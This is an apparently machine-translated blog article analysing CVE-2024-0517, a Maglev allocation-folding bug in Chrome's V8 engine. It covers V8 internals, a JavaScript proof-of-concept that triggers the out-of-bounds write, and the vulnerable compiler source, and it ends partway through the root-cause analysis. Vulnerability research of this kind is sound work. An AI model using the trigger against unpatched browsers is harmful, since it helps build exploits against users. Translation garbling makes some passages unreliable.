Analyzing the Google Chrome V8 CVE-2024–0517 Out-of-Bounds Code Execution Vulnerability

TutorialBoy
39 min readFeb 24, 2024

Overview

This article explores a vulnerability discovered a few months ago in Google Chrome’s V8 JavaScript engine. The vulnerability was fixed via a Chrome update on January 16, 2024, and was assigned the number CVE-2024–0517.

The vulnerability arises from the way V8’s Maglev compiler attempts to compile a class that has a parent class. In this case, the compiler needs to find all parent classes and their constructors, and in doing so a vulnerability is introduced. This article details this vulnerability and how it can be exploited.

To analyze this vulnerability in V8, the developer shell from the V8 project d8will be used. After V8 is compiled, several binary files will be generated, located in the following directories:

  • debug version of d8:./out.gn/x64.debug/d8
  • Release version of d8:./out.gn/x64.release/d8

V8 performs just-in-time optimization (JIT) compilation of JavaScript code. The JIT compiler translates JavaScript into machine code for faster execution. Before we dive into the vulnerability analysis, let’s first discuss some preliminary details about the V8 engine. This can help you better understand the vulnerability’s causes and exploitation mechanisms. If you are already familiar with the internal structure of V8, you can jump directly to the 0x02 vulnerability section.

V8 JavaScript Engine

The V8 JavaScript engine consists of multiple components in its compilation pipeline, including Ignition (the interpreter), Sparkplug (the baseline compiler), Maglev (the middle-tier optimizing compiler), and TurboFan (the optimizing compiler). Ignition acts as a register machine that generates bytecode from a parsed abstract syntax tree. In the optimization phase of the compilation pipeline, one step is to identify frequently used code and mark it as “hot.” Code marked “hot” is then fed into Maglev, which performs static analysis by collecting type feedback from the interpreter. In Turbofan, dynamic analysis is used, and these analyses are used to generate optimized and compiled code. Code marked “hot” is faster on subsequent executions because V8 compiles and optimizes the JavaScript code into the target machine code architecture and uses this generated code to run the operations defined by the code previously marked “hot”.

Maglev

Maglev is a middle-tier optimizing compiler in the V8 JavaScript engine, located between the baseline compiler (Sparkplug) and the main optimizing compiler (Turbofan).

Its main goal is to perform fast optimizations without dynamic analysis, relying solely on feedback provided by the interpreter. To perform relevant optimizations statically, Maglev supports itself by creating a control flow graph (CFG) composed of nodes, called Maglev IR.

Run the following JavaScript code snippet via out/x64.debug/d8 — allow-natives-syntax — print-maglev-graph maglev-add-test.js:

function add(a, b) {
return a + b;
}
%PrepareFunctionForOptimization(add);
add(2, 4);
%OptimizeMaglevOnNextCall(add);
add(2, 4);

d8First the bytecode of the interpreter will be printed

0 : Ldar a1
2 : Add a0, [0]
5 : Return

0: Load register a1 (the second parameter of the function) into the accumulation register.

2: Perform the addition using register a0 (first argument) and store the result into the accumulation register. Then, the analysis information (type feedback, offset in memory, etc.) is stored into slot 0 of the inline cache.

5: Return the value in the accumulation register.

These instructions have corresponding representations in the Maglev IR diagram.

1/5: Constant(0x00f3003c3ce5 ) → v-1, live range: [1-11]
2/4: Constant(0x00f3003dbaa9 ) → v-1, live range: [2-11]
3/6: RootConstant(undefined_value) → v-1
Block b1
0x00f3003db9a9 (0x00f30020c301 )
0 : Ldar a1
4/1: InitialValue() → [stack:-6|t], live range: [4-11]
[1]
5/2: InitialValue(a0) → [stack:-7|t], live range: [5-11]
6/3: InitialValue(a1) → [stack:-8|t], live range: [6-11]
7/7: FunctionEntryStackCheck
? lazy @-1 (4 live vars)
8/8: Jump b2

Block b2
15: GapMove([stack:-7|t] → [rax|R|t])
2 : Add a0, [0]
? eager @2 (5 live vars)
[2]
9/9: CheckedSmiUntag [v5/n2:[rax|R|t]] → [rax|R|w32], live range: [9-11]
16: GapMove([stack:-8|t] → [rcx|R|t])
? eager @2 (5 live vars)
10/10: CheckedSmiUntag [v6/n3:[rcx|R|t]] → [rcx|R|w32], live range: [10-11]
? eager @2 (5 live vars)
11/11: Int32AddWithOverflow [v9/n9:[rax|R|w32], v10/n10:[rcx|R|w32]] → [rax|R|w32], live range: [11-13]
5 : Return
12/12: ReduceInterruptBudgetForReturn(5)
[3]
13/13: Int32ToNumber [v11/n11:[rax|R|w32]] → [rcx|R|t], live range: [13-14]
17: GapMove([rcx|R|t] → [rax|R|t])
14/14: Return [v13/n13:[rax|R|t]]
  • The values ​​of the parameters sum are a0loaded a1. The numeric 5/2 sum 6/3 refers to node 5/ variable 2 and node 6/ variable 3. Nodes are used in the initial Maglev IR graph and variables are used in generating the final register allocation graph. Therefore, parameters will be referenced by their respective nodes and variables.
  • Two CheckedSmiUntagoperations are performed on the value loaded at [1]. This operation checks whether the argument is a small integer and removes the flag. The untagged value is now fed into Int32AddWithOverflow, which takes the operands from v9/n9 and v10/n10 (the result from the CheckedSmiUntag operation) and puts the result into n11/v11. Finally, in [4], the graph converts the resulting operation Int32 To Number to a JavaScript number and puts the result into v13/n13, which is then returned by the Return operation.

Ubercage

Ubercage, also known as V8 Sandbox (not to be confused with Chrome Sandbox), is a new mitigation in the V8 engine that attempts to enforce memory read and write limits even after a successful V8 exploit.

The design involves relocating the V8 heap into a reserved virtual address space called a sandbox, assuming that an attacker could corrupt the V8 heap memory. This relocation limits in-process memory access, preventing arbitrary code execution in the event of a successful V8 exploit. It creates an in-process sandbox for the V8 engine, converting potentially arbitrary write operations into bounded writes with minimal performance overhead (approximately 1% for real workloads).

Another mechanism of Ubercage is the code pointer sandbox, in which the isolation of code pointers is achieved by removing the code pointer within the JavaScript object itself and converting it into an index in the table. This table will contain type information and the actual address of the code to run in a separate, isolated section of memory. Because only limited access to the V8 heap is initially gained, this prevents an attacker from modifying JavaScript function code pointers during exploitation.

Additionally, Ubercage introduces a feature that removes full 64-bit pointers from Typed Array objects. In the past, an attacker could exploit the backing store (or data pointer) of these objects to create arbitrary read-and-write primitives. However, with the implementation of Ubercage, this is no longer a viable avenue for attackers.

Garbage Collection

JavaScript engines make heavy use of memory due to the flexibility the specification provides when working with objects. The types and references of objects can change at any moment, effectively changing their shape and location in memory. All objects referenced by the root object (objects pointed to by registers or stack variables), whether directly or through a reference chain, are considered live objects. Any object not held by such a reference is considered dead and may be freed by the garbage collector.

This intensive and dynamic use of objects led to research demonstrating that most objects die quickly, known as the “generational hypothesis” [1], which V8 uses as the basis of its garbage collection procedure. Furthermore, it uses a half-space approach, which, to prevent traversing the entire heap space to mark objects, considers the “Young Generation” and “Old Generation” based on the number of garbage collection cycles each object manages to survive.

There are two main garbage collectors in V8, Major GC (major garbage collection) and Minor GC (minor garbage collection). Major GC traverses the entire heap space to mark object status (live/dead), cleans the memory space to release dead objects, and compacts memory based on fragmentation. Minor GC only traverses the Young Generation heap space and performs the same operations, but includes another half-space scheme to move live objects from “From-space” to “To-space” space, all in an interleaved manner.

Orinoco is part of the V8 garbage collector and attempts to implement state-of-the-art garbage collection techniques, including fully concurrent, parallel, and incremental mechanisms for marking and freeing memory. Orinoco is used in Minor GC because it uses task parallelization to mark and iterate the “Young Generation”. It is also used in Major GC to apply concurrency by implementing concurrency during the mark phase. All this prevents the previously observed stuttering and screen jitter caused by the garbage collector stopping all tasks to free up memory, known as the “Stop-the-World” approach [2].

Object Representation

V8 on the 64-bit version uses pointer compression, i.e. all pointers are stored in the V8 heap as 32-bit values. To distinguish whether the current 32-bit value is a pointer or a small integer (SMI), V8 uses another technique called pointer tagging:

  • If the value is a pointer, the last bit of the pointer is set to 1.
  • If the value is SMI, the value is bitwise shifted left by 1 bit, leaving the last bit unset. So when a 32-bit value is read from the heap, it is first checked to see if it has a pointer tag (the last bit is set to 1), and if so, the value of a register (r14 on x86 systems) is added, which corresponds to The base address of the V8 heap, so the pointer is decompressed to its full value. If it’s SMI, check if the last bit is set to 0, then shift it right by 1 bit before using it.

The best way to understand how V8 represents JavaScript objects internally is to look at DebugPrintthe output in the d8 shell when executed with a statement whose argument represents a simple object.

d8> let a = new Object();
undefined
d8> %DebugPrint(a);
DebugPrint: 0x3cd908088669: [JS_OBJECT_TYPE]
- map: 0x3cd9082422d1 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3cd908203c55 <Object map = 0x3cd9082421b9>
- elements: 0x3cd90804222d <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x3cd90804222d <FixedArray[0]>
- All own properties (excluding elements): {}
0x3cd9082422d1: [Map]
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- elements kind: HOLEY_ELEMENTS
- unused property fields: 4
- enum length: invalid
- back pointer: 0x3cd9080423b5 <undefined>
- prototype_validity cell: 0x3cd908182405 <Cell value= 1>
- instance descriptors (own) #0: 0x3cd9080421c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x3cd908203c55 <Object map = 0x3cd9082421b9>
- constructor: 0x3cd90820388d <JSFunction Object (sfi = 0x3cd908184721)>
- dependent code: 0x3cd9080421b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
{}
d8> for (let i =0; i<1000; i++) var gc = new Uint8Array(100000000);
undefined
d8> %DebugPrint(a);
DebugPrint: 0x3cd908214bd1: [JS_OBJECT_TYPE] in OldSpace
- map: 0x3cd9082422d1 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3cd908203c55 <Object map = 0x3cd9082421b9>
- elements: 0x3cd90804222d <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x3cd90804222d <FixedArray[0]>
- All own properties (excluding elements): {}
0x3cd9082422d1: [Map]
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- elements kind: HOLEY_ELEMENTS
- unused property fields: 4
- enum length: invalid
- back pointer: 0x3cd9080423b5 <undefined>
- prototype_validity cell: 0x3cd908182405 <Cell value= 1>
- instance descriptors (own) #0: 0x3cd9080421c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x3cd908203c55 <Object map = 0x3cd9082421b9>
- constructor: 0x3cd90820388d <JSFunction Object (sfi = 0x3cd908184721)>
- dependent code: 0x3cd9080421b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
{}

V8 objects can have two properties:

  • Numeric attributes (e.g. obj[0], obj[1]): These attributes are usually stored in a contiguous array pointed to by the element pointer.
  • Named properties (such as obj[“a”], obj.a): By default, these properties are stored in the same memory block as the object itself. When newly added properties exceed a certain limit (default is 4), they are stored in a contiguous array pointed to by the property pointer.

In some scenarios that enable faster attribute access, elements and properties fields can also point to objects representing data structures like hash tables.

Additionally, after execution for (let i =0; i<1000; i++) var geec = new Uint8Array(100000000);, a major garbage collection cycle was triggered, resulting in athe object now being OldSpacepart of the “Old Generation”, as shown in the first line in the debug print.

Regardless of the type and number of properties, all objects Mapstart with a pointer to the object, which describes the structure of the object. Each Map object has a descriptor array with an entry for each property. Each entry contains information such as whether the property is read-only or the type of data it holds (i.e. double, small integer, tagged pointer). When using a hash table to implement attribute storage, the information is held in each hash table entry rather than in a descriptor array.

0x52b08089a55: [DescriptorArray]
- map: 0x052b080421b9 <Map>
- enum_cache: 4
- keys: 0x052b0808a0d5
- indices: 0x052b0808a0ed
- nof slack descriptors: 0
- nof descriptors: 4
- raw marked descriptors: mc epoch 0, marked 0
[0]: 0x52b0804755d: [String] in ReadOnlySpace: #a (const data field 0:s, p: 2, attrs: [WEC]) @ Any
[1]: 0x52b080475f9: [String] in ReadOnlySpace: #b (const data field 1:d, p: 3, attrs: [WEC]) @ Any
[2]: 0x52b082136ed: [String] in OldSpace: #c (const data field 2:h, p: 0, attrs: [WEC]) @ Any
[3]: 0x52b0821381d: [String] in OldSpace: #d (data field 3:t, p: 1, attrs: [WEC]) @ Any

In the list above:

  • s stands for “tagged small integer”
  • d represents a double-precision floating point number. Whether this is an unmarked value or a marked pointer depends on FLAG_unbox_double_fieldsthe value of the compilation flag. This value is set to false when pointer compression is enabled (default for 64-bit versions). MapA double-precision floating point number represented as a heap object consists of a Map pointer followed by an 8-byte IEEE 754 value.
  • h stands for “mark pointer”
  • t stands for “tagged value”

JavaScript Array

JavaScript is a dynamically typed language where types are associated with values. Except for basic types like null, undefined, strings, numbers, Symbol and boolean, everything else in JavaScript is an object.

JavaScript objects can be created in a variety of ways, for example, var foo = {}. Properties can be assigned to JavaScript objects in a variety of ways, including foo.prop1 = 12 and foo[“prop1”] = 12. JavaScript objects behave like map or dictionary objects in other languages.

An array in JavaScript ( var arr = [1, 2, 3]if it is a JavaScript object), its properties are limited to values ​​that can be used as array indices. The ECMAScript specification defines arrays as follows :

Array objects give special treatment to certain types of attribute names. Property name P (as a string value) is an array index if and only if To String(ToUint32(P)) is equal to P and ToUint32(P) is not equal to 2³²-1. Every array object has a length property whose value is always a non-negative integer less than 2³².

observed:

  • An array can contain at most 2³²-1 elements, and array indexes can range from 0 to 2³²-2.
  • The object property name is the array index of the called element.

An object in JavaScript TypedArray describes an array-like view of an underlying binary data buffer [ 4]. There is no global property named TypedArray, and there is no directly visible TypedArray constructor.

Some TypedArrayexamples of objects include:

  • Int8ArraySize is 1 byte, range is -128 to 127.
  • Uint8ArraySize is 1 byte, range is 0 to 255.
  • Int32ArraySize is 4 bytes, range is -2147483648 to 2147483647.
  • Uint32ArraySize is 4 bytes, range is 0 to 4294967295.

Element Types in V8

V8 keeps track of the element types each array contains. This information allows V8 to optimize any operation on the array specifically for elements of that type. For example, when calling reduce, map or for Each on an array, V8 can optimize these operations based on the type of elements the array contains. [5]

V8 contains a large number of element types. Here are just some of them:

  • Fast types containing small integer (SMI) values: PACKED_SMI_ELEMENTS, HOLEY_SMI_ELEMENTS.
  • Quick types containing tag values: PACKED_ELEMENTS, HOLEY_ELEMENTS.
  • Fast types for unpacked, untagged double values: PACKED_DOUBLE_ELEMENTS, HOLEY_DOUBLE_ELEMENTS.
  • Slow element types: DICTIONARY_ELEMENTS.
  • Non-extensible, sealed and frozen types: PACKED_NONEXTENSIBLE_ELEMENTS, HOLEY_NONEXTENSIBLE_ELEMENTS, PACKED_SEALED_ELEMENTS, HOLEY_SEALED_ELEMENTS, PACKED_FROZEN_ELEMENTS, HOLEY_FROZEN_ELEMENTS*.

This article focuses on two different element types.

  • PACKED_DOUBLE_ELEMENTS: The array is packed and contains only 64-bit floating point values.
  • PACKED_ELEMENTS: The array is packed, it can contain elements of any type (integer, double, object, etc.).

The concept of transformation is important to understand this vulnerability. Conversion is the process of converting one array type to another array type. For example, an array with kind PACKED_SMI_ELEMENTS can be converted to HOLEY_SMI_ELEMENTS. This conversion converts a more specific type ( PACKED_SMI_ELEMENTS) to a more general type ( HOLEY_SMI_ELEMENTS), but the conversion cannot go from a general type to a more specific type. For example, once an array is marked as PACKED_ELEMENTS(generic type), it cannot be returned to PACKED_DOUBLE_ELEMENTS(specific type), which is why this vulnerability forces initial corruption.

The following code block illustrates how these basic types are assigned to JavaScript arrays, and when these conversions occur:

let array = [1, 2, 3]; // PACKED_SMI_ELEMENTS
array[3] = 3.1 // PACKED_DOUBLE_ELEMENTS
array[3] = 4 // Still PACKED_DOUBLE_ELEMENTS
array[4] = "five" // PACKED_ELEMENTS
array[6] = 6 // HOLEY_ELEMENTS

Fast JavaScript Arrays

Recall that JavaScript arrays are objects whose properties are restricted to values ​​that can be used as array indices. Internally, V8 uses several different property representations to provide fast property access.

Fast elements are simple virtual machine internal arrays where attribute indices map to indices in the element’s storage. For large arrays or Holey Arrays with empty slots at multiple indexes, use a dictionary-based representation to save memory.

Vulnerabilities

The vulnerability exists in VisitFindNonDefaultConstructorOrConstructin the Maglev function of, which attempts to optimize class creation when a class has a parent class. Specifically, if the class also contains a new. target reference, it will trigger a logic problem when generating code, resulting in a second-order vulnerability of type out-of-bounds write. new. target is defined as a meta-property of a function that detects whether the function has been called using an operator. For constructors, it allows access to new functions called using operators. In the following cases, Reflect. constructis used to construct with ClassBugconstruct, ClassParentas new. target of ClassBug.

function main() {
class ClassParent {
}
class ClassBug extends ClassParent {
constructor() {
const v24 = new new.target();
super();
let a = [9.9,9.9,9.9,1.1,1.1,1.1,1.1,1.1];
}
[1000] = 8;
}
for (let i = 0; i < 300; i++) {
Reflect.construct(ClassBug, [], ClassParent);
}
}
%NeverOptimizeFunction(main);
main();

When running the above code on a debug build, the following crash occurs:

$ ./v8/out/x64.debug/d8 --max-opt=2 --allow-natives-syntax --expose-gc --jit-fuzzing --jit-fuzzing report-1.js
#
# Fatal error in ../../src/objects/object-type.cc, line 82
# Type cast failed in CAST(LoadFromObject(machine_type, object, IntPtrConstant(offset - kHeapObjectTag))) at ../../src/codegen/code-stub-assembler.h:1309
Expected Map but found Smi: 0xcccccccd (-858993459)
#
#
#
#FailureMessage Object: 0x7ffd9c9c15a8
==== C stack trace ===============================
./v8/out/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7f2e07dc1f5e]
./v8/out/x64.debug/libv8_libplatform.so(+0x522cd) [0x7f2e07d142cd]
./v8/out/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x1ac) [0x7f2e07d9019c]
./v8/out/x64.debug/libv8.so(v8::internal::CheckObjectType(unsigned long, unsigned long, unsigned long)+0xa0df) [0x7f2e0d37668f]
./v8/out/x64.debug/libv8.so(+0x3a17bce) [0x7f2e0b7eebce]
Trace/breakpoint trap (core dumped)

The constructor of this class ClassBughas the following bytecode:

// [1]
0x9b00019a548 @ 0 : 19 fe f8 Mov , r1
0x9b00019a54b @ 3 : 0b f9 Ldar r0
0x9b00019a54d @ 5 : 69 f9 f9 00 00 Construct r0, r0-r0, [0]
0x9b00019a552 @ 10 : c3 Star2
// [2]
0x9b00019a553 @ 11 : 5a fe f9 f2 FindNonDefaultConstructorOrConstruct , r0, r7-r8
0x9b00019a557 @ 15 : 0b f2 Ldar r7
0x9b00019a559 @ 17 : 19 f8 f5 Mov r1, r4
0x9b00019a55c @ 20 : 19 f9 f3 Mov r0, r6
0x9b00019a55f @ 23 : 19 f1 f4 Mov r8, r5
0x9b00019a562 @ 26 : 99 0c JumpIfTrue [12] (0x9b00019a56e @ 38)
0x9b00019a564 @ 28 : ae f4 ThrowIfNotSuperConstructor r5
0x9b00019a566 @ 30 : 0b f3 Ldar r6
0x9b00019a568 @ 32 : 69 f4 f9 00 02 Construct r5, r0-r0, [2]
0x9b00019a56d @ 37 : c0 Star5
0x9b00019a56e @ 38 : 0b 02 Ldar
0x9b00019a570 @ 40 : ad ThrowSuperAlreadyCalledIfNotHole
// [3]
0x9b00019a571 @ 41 : 19 f4 02 Mov r5,
0x9b00019a574 @ 44 : 2d f5 00 04 GetNamedProperty r4, [0], [4]
0x9b00019a578 @ 48 : 9d 0a JumpIfUndefined [10] (0x9b00019a582 @ 58)
0x9b00019a57a @ 50 : be Star7
0x9b00019a57b @ 51 : 5d f2 f4 06 CallProperty0 r7, r5, [6]
0x9b00019a57f @ 55 : 19 f4 f3 Mov r5, r6
// [4]
0x9b00019a582 @ 58 : 7a 01 08 25 CreateArrayLiteral [1], [8], #37
0x9b00019a586 @ 62 : c2 Star3
0x9b00019a587 @ 63 : 0b 02 Ldar
0x9b00019a589 @ 65 : aa Return

To put it simply, [1] represents the row new.target(), [2] corresponds to the creation of the object, [3] represents the call super(), and [4] supercreates the array after the call. When this code is run several times, it will be compiled by the Maglev JIT compiler, which will handle each bytecode operation individually. The vulnerability exists in FindNonDefaultConstructorOrConstructthe way Maglev reduces bytecode operations to Maglev IR.

When Maglev reduces the bytecode to an IR, it will also include this code for object initialization, which means it will also include code from triggers [1000] = 8. The generated Maglev IR diagram with vulnerability optimization is as follows:

[TRUNCATED]
0x16340019a2e1 (0x163400049c41 )
11 : FindNonDefaultConstructorOrConstruct , r0, r7-r8
[5]
20/18: AllocateRaw(Young, 100) → [rdi|R|t] (spilled: [stack:1|t]), live range: [20-47]
21/19: StoreMap(0x16340019a961 <Map>) [v20/n18:[rdi|R|t]]
22/20: StoreTaggedFieldNoWriteBarrier(0x4) [v20/n18:[rdi|R|t], v5/n10:[rax|R|t]]
23/21: StoreTaggedFieldNoWriteBarrier(0x8) [v20/n18:[rdi|R|t], v5/n10:[rax|R|t]]
[TRUNCATED]
│ 0x16340019a31d (0x163400049c41 :9:15)
│ 5 : DefineKeyedOwnProperty , r0, #0, [0]
[6]
│ 28/30: DefineKeyedOwnGeneric [v2/n3:[rsi|R|t], v20/n18:[rdx|R|t], v4/n27:[rcx|R|t], v7/n28:[rax|R|t], v6/n29:[r11|R|t]] → [rax|R|t]
│ │ @51 (3 live vars)
│ ? lazy @5 (2 live vars)
│ 0x16340019a2e1 (0x163400049c41 )
│ 58 : CreateArrayLiteral [1], [8], #37
│╭──29/31: Jump b8
││
╰─?Block b7
│ 30/32: Jump b8
│ ↓
╰?Block b8
[7]
31/33: FoldedAllocation(+12) [v20/n18:[rdi|R|t]] → [rcx|R|t], live range: [31-46]
59: GapMove([rcx|R|t] → [rdi|R|t])
32/34: StoreMap(0x163400000829 <Map>) [v31/n33:[rdi|R|t]]
[TRUNCATED]

ClassBugWhen optimizing the constructor of the class at Maglev performs a raw allocation, thereby preempting the need for more space for the double-precision array defined in the previous listing. The caveat is that it will spill the pointer to this allocation into (spilt: [stack:1|t])the heap. However, property definitions will trigger garbage collection when the object is constructed [1000] = 8[6]. Since Maglev is responsible for performing garbage collector safe allocations, this side effect cannot be observed in the Maglev IR itself.

Therefore, at [7], FoldedAllocationan attempt is made to handle this situation by restoring the overflow from the stack, adding +12 to the pointer, and finally storing the pointer back to rcx the register. Then, GapMovethe pointer will be put in rdi, and finally, StoreMapthe writing of the double array will begin. This effectively causes the memory to be rewritten as it is moved by the garbage collection cycle to [6], which is a different location than the Maglev IR expected.

Allocating Folding

Maglev attempts to optimize allocations by collapsing multiple allocations into a single large allocation. It stores the pointer ( AllocateRawnode) of the last node where memory was allocated. The next time there is an allocation request, it performs certain checks and if those checks pass, it increases the size of the previous allocation to the size of the new allocation request. This means that if there is a request to allocate 12 bytes, and then later a request to allocate 88 bytes, Maglev will make the first allocation 100 bytes long and delete the second allocation entirely. The first 12 bytes of this allocation will be used for the purpose of the first allocation, and the next 88 bytes will be used for the second allocation. This can be seen in the code below.

MaglevGraphBuilder::ExtendOrReallocateCurrentRawAllocation()This function is called when Maglev tries to lower the code and encounters a place where memory needs to be allocated. The following is the source code of the function.

// File: src/maglev/maglev-graph-builder.cc
ValueNode* MaglevGraphBuilder::ExtendOrReallocateCurrentRawAllocation(
int size, AllocationType allocation_type) {
[1]
if (!current_raw_allocation_ ||
current_raw_allocation_->allocation_type() != allocation_type ||
!v8_flags.inline_new) {
current_raw_allocation_ =
AddNewNode<AllocateRaw>({}, allocation_type, size);
return current_raw_allocation_;
}
[2]
int current_size = current_raw_allocation_->size();
if (current_size + size > kMaxRegularHeapObjectSize) {
return current_raw_allocation_ =
AddNewNode<AllocateRaw>({}, allocation_type, size);
}
[3]
DCHECK_GT(current_size, 0);
int previous_end = current_size;
current_raw_allocation_->extend(size);
return AddNewNode<FoldedAllocation>({current_raw_allocation_}, previous_end);
}

This function accepts two parameters, the first is the size to be allocated and the second AllocationType, specifies the details about how to allocate, such as whether this allocation should be done in Young Space or Old Space.

In [1], it checks current_raw_allocation_if it is null or if it AllocationType is not equal to the value requested by the current allocation. In either case, AllocateRawa new node is added to the Maglev CFG and a pointer to that node is saved in current_raw_allocation_. Therefore, this current_raw_allocation_variable always points to the node where the last allocation was performed.

When the control flow reaches [2], it means current_raw_allocation_it is not empty and the type of the previous allocation matches the type of the current allocation. If so, the compiler checks that the total size (i.e. the previously allocated size plus the requested size) is less than 0x20000. If not, allocateRawemit a new node for this allocation again and save the pointer to it in current_raw_allocation_.

If the control flow reaches [3], it means that the amount allocated now can be merged with the last allocation. Therefore, use the method current_raw_allocation_on extend()to extend the last allocated size to the requested size. This ensures that the previous allocation will also allocate the memory required for this allocation, after which the FoldedAllocationa node will be emitted. This node holds the offset of the previous allocation at which the currently allocated memory will start. For example, if the first allocation is 12 bytes and the second allocation is 88 bytes, Maglev will merge the two allocations and make the first allocation 100 bytes. The second one will be replaced with a node pointing to the previously allocated FoldedAllocationnode and saved at offset 12, indicating that this allocation will start at offset 12 bytes from the previously allocated node.

In this way, Maglev optimizes the number of allocations it performs. In code, this is called Allocation Folding, and allocations that optimize by extending the size of a previous allocation are called Allocation Folding. However, something to note here is garbage collection (GC). As mentioned in the previous sections, V8 has a moving garbage collector. So if a GC happens between two “folded” allocations, the objects initialized in the first allocation will be moved elsewhere, and the space reserved for the second allocation will be freed, because the GC won’t look there to the object (GC occurs after the first object is initialized but before the second object is initialized).

Since the GC doesn’t see the object, it will assume it is free space and free it. Later when trying to initialize the second object, the FoldedAllocation node will report an offset from the start of the previous allocation (now moved), and using that offset to initialize the object results in an out-of-bounds write. This happens because only the memory corresponding to the first object is moved, which means in the above example, only 12 bytes are moved, while the FoldedAllocationsecond object will be reported to be available at offset 12 from the beginning of the allocation byte is initialized, so the write is out of bounds. Therefore, care should be taken to avoid GC situations between Folded Allocations.

Build and allocate fast objects

BuildAllocateFastObject()The function is ExtendOrReallocateCurrentRawAllocation()a package that can be called multiple times ExtendOrReallocateCurrentRawAllocation()to allocate space for the object, its elements, and attribute values ​​​​in the object.

// File: src/maglev/maglev-graph-builder.cc
ValueNode* MaglevGraphBuilder::BuildAllocateFastObject(
FastObject object, AllocationType allocation_type) {
[TRUNCATED]
[1]
ValueNode* allocation = ExtendOrReallocateCurrentRawAllocation(
object.instance_size, allocation_type);
[TRUNCATED]
return allocation;
}

As can be seen from [1], this function calls ExtendOrReallocateCurrentRawAllocation()a function when an allocation needs to be made, and then initializes the allocated memory with the object’s data. The important thing to note here is that the function never clears the variable after it completes current_raw_allocation_, so it is the caller’s responsibility to clear the variable when needed.

MaglevGraphBuilderThere is a ClearCurrentRawAllocation()helper function called that sets current_raw_allocation_the member to NULL to achieve this. As we discussed in the previous section, if variables are not cleared properly, allocations can collapse on GC boundaries, which will result in out-of-bounds writes.

Find a Non-Default Constructor Or Construct

FindNonDefaultConstructorOrConstructBytecode operations are used to construct object instances. It traverses the prototype chain starting from the constructor’s super constructor until it finds a non-default constructor. If the traversal ends with the default base constructor, like the test case we saw earlier, it will create an instance of this object.

The Maglev compiler calls VisitFindNonDefaultConstructorOrConstruct()a function to reduce this opcode to a Maglev IR. The code for this function is shown below.

// File: src/maglev/maglev-graph-builder.cc
void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {
ValueNode* this_function = LoadRegisterTagged(0);
ValueNode* new_target = LoadRegisterTagged(1);
auto register_pair = iterator_.GetRegisterPairOperand(2);
// [1]
if (TryBuildFindNonDefaultConstructorOrConstruct(this_function, new_target,
register_pair)) {
return;
}
// [2]
CallBuiltin* result =
BuildCallBuiltin(
{this_function, new_target});
StoreRegisterPair(register_pair, result);
}

The function calls the TryBuildFindNonDefaultConstructorOrConstruct()function. This function attempts to optimize the creation of object instances if certain variables do not hold true. If TryBuildFindNonDefaultConstructorOrConstruct()the function returns true, it means the optimization was successful and the opcode has been reduced to Maglev IR, so the function returns there.

However, if TryBuildFindNonDefaultConstructorOrConstruct()the function representation is not possible for optimization, then control reaches [3], which will emit a Maglev IR and the FindNonDefaultConstructorOrConstructinterpreter implementation of the opcode will be called.

The vulnerability we are discussing exists in TryBuildFindNonDefaultConstructorOrConstruct()a function that requires that function to succeed in the optimization of the instance build.

TryBuildFindNonDefaultConstructorOrConstruct

Since this function is quite large, only the relevant parts are highlighted below.

// File: src/maglev/maglev-graph-builder.cc
bool MaglevGraphBuilder::TryBuildFindNonDefaultConstructorOrConstruct(
ValueNode* this_function, ValueNode* new_target,
std::pair<interpreter::Register, interpreter::Register> result) {
// See also:
// JSNativeContextSpecialization::ReduceJSFindNonDefaultConstructorOrConstruct

[1]
compiler::OptionalHeapObjectRef maybe_constant =
TryGetConstant(this_function);
if (!maybe_constant) return false;
compiler::MapRef function_map = maybe_constant->map(broker());
compiler::HeapObjectRef current = function_map.prototype(broker());

[TRUNCATED]

[2]
while (true) {
if (!current.IsJSFunction()) return false;
compiler::JSFunctionRef current_function = current.AsJSFunction();
[TRUNCATED]

[3]
FunctionKind kind = current_function.shared(broker()).kind();
if (kind != FunctionKind::kDefaultDerivedConstructor) {
[TRUNCATED]

[4]
compiler::OptionalHeapObjectRef new_target_function =
TryGetConstant(new_target);
if (kind == FunctionKind::kDefaultBaseConstructor) {
[TRUNCATED]

[5]
ValueNode* object;
if (new_target_function && new_target_function->IsJSFunction() &&
HasValidInitialMap(new_target_function->AsJSFunction(),
current_function)) {
object = BuildAllocateFastObject(
FastObject(new_target_function->AsJSFunction(), zone(), broker()),
AllocationType::kYoung);
} else {
object = BuildCallBuiltin<Builtin::kFastNewObject>(
{GetConstant(current_function), new_target});
// We've already stored "true" into result.first, so a deopt here just
// has to store result.second.
object->lazy_deopt_info()->UpdateResultLocation(result.second, 1);
}
[TRUNCATED]


[6]
// Keep walking up the class tree.
current = current_function.map(broker()).prototype(broker());
}
}

Essentially, this function attempts to traverse the prototype chain of the object being constructed to find the first non-default constructor and use that information to construct the object instance. However, for the logic used by this function to hold true, some prerequisites must be met.

[1] emphasizes the first prerequisite, that the object of the instance being constructed should be a constant.

The loop starts at [2] while handling prototype traversal, with each iteration of the loop handling one parent object. current_functionThe variable holds the constructor function of the parent object. If one of the parent constructors is not a function, it exits of the function was calculated

[3] FunctionKind. FunctionKind is an enumeration that saves information about functions and describes the type of the function. For example, it can be a normal function, base constructor, default constructor, etc. The function checks kindif it is a default-derived constructor, if so, control flows to [6] and the loop skips processing this parent object. The logic here is that if the constructor of the parent object in the current iteration is the default derived constructor, then the parent object has no specified constructor (it is the default constructor) and the underlying object does not specify a constructor (it is the derived constructor). Therefore, the loop can skip that parent object and go directly to that object’s parent.

